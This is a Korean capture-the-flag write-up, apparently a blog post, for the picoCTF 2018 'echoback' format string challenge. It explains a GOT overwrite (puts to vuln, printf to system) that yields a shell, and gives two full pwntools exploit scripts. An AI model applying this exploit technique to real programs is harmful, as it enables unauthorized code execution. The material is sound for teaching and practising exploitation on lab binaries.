# description
x32 Format String Bug 문제이다.
# protection tech
# code
- printf(&buf) : 바로 buf 변수 값을 출력함 -> Format String Bug 취약점 발생
# process
위의 코드를 보면 printf(&buf)에서 FSB가 발생하기도 하지만 이 코드를 보면 printf@got를 system@plt로 덮고 buf에 "/bin/sh"을 주면 쉘을 실행할 수 있다고도 생각해볼 수 있다.
이렇게 하려면 먼저 printf@got를 덮고 다시 입력받아서 "/bin/sh" 문자열을 buf 변수에 입력해야 해서 최소 2번은 vuln 함수가 필요하다.
출력 이후 puts 함수 호출 2번을 해서 출력해주는데 이것을 이용해볼 수 있겠다.
puts@got를 vuln 함수 주소로 덮으면 puts 함수가 호출될 때마다 vuln 함수를 호출할 수 있어서 vuln 함수를 2번 더 호출할 수 있게된다.
1. puts@got -> vuln
이 과정 후 puts 함수가 호출되면 vuln 함수가 호출된다.
2. printf@got -> system@plt
printf(&buf) 이후 puts 함수 호출 때 vuln 함수가 호출될 때 read 함수로 입력 시 payload 전달해서 FSB로 printf@got를 변조한다.
3. "/bin/sh" 전달
마지막 puts 함수 호출 때 실질적으로 vuln 함수가 호출되면 buf에 입력 시 "/bin/sh" 문자열을 전달한다.
printf@got가 system@plt로 덮힌 상태이므로
printf(&buf) 는 실질적으로 system("/bin/sh")이 된다.
GOT overwrite 시 하위 2바이트와 상위 2바이트로 나눠서 진행한다.
따라서 puts got를 처음에 줄 때 puts got와 puts got+2로 준다.
그럼 일단 각각 4바이트 씩이므로 puts got에 들어갈 때는 vuln(0x85AB)에서 8을 뺀 값을 사이에 주면 된다.
그리고 상위 2바이트는 0x804로 덮으면 되는데 앞의 0x85AB를 0x10804에서 빼주면 된다.
printf@got를 변조할 때도 puts 때와 똑같이 진행한다.
AAAA를 입력해서 출력되는 위치로 offset을 구한다.
7번째에서 출력되므로 offset은 7이 된다.
# exploit1
- exploit code
#!/usr/bin/python
from pwn import *
#p = process("./echoback")
p = remote("2018shell3.picoctf.com", 26532)
elf = ELF("./echoback")
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = 0x8048643
puts_got = elf.got['puts']
# puts@got -> vuln
pay = p32(puts_got) #4byte(low)
pay += p32(puts_got+2) #4byte(high)
pay += '%{}x'.format(0x85AB-0x8) # puts@got low 2 byte
pay += '%7$hn'
pay += '%{}x'.format(0x10804-0x85AB) # puts@got high 2 byte
pay += '%8$hn'
p.sendlineafter("\n", pay)
# printf@got -> system@plt
pay = p32(printf_got)
pay += p32(printf_got+2)
pay += '%{}x'.format(0x8460-0x8)
pay += '%7$hn'
pay += '%{}x'.format(0x10804-0x8460)
pay += '%8$hn'
p.sendlineafter("\n", pay)
p.sendlineafter("\n", "/bin/sh\x00")
p.interactive()
- exploit
# exploit2
- exploit code
#!/usr/bin/python
from pwn import *
#p = process("./echoback")
p = remote("2018shell3.picoctf.com", 26532)
elf = ELF("./echoback")
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = 0x8048643
puts_got = elf.got['puts']
pay = fmtstr_payload(7, {puts_got: vuln, printf_got: system_plt})
p.sendline(pay)
p.sendline("/bin/sh\x00")
p.interactive()
* pwntools의 fmtstr 함수를 사용하면 위의 exploit code를 간단하게 나타낼 수 있다.
(offset을 알면 puts@got를 뭐로 덮고, printf@got를 뭐로 덮는지 콜론으로 구분해서 주면 된다!)
- exploit
[HITCON-Training] lab11 bamboobox (unsafe unlink) (0) | 2020.02.28 |
---|---|
[Codegate 2018] Super Marimo (0) | 2020.02.09 |
[picoCTF 2018] authenticate (0) | 2020.01.31 |
[picoCTF 2018] can you gets me (0) | 2020.01.31 |
[picoCTF 2018] echooo (0) | 2020.01.29 |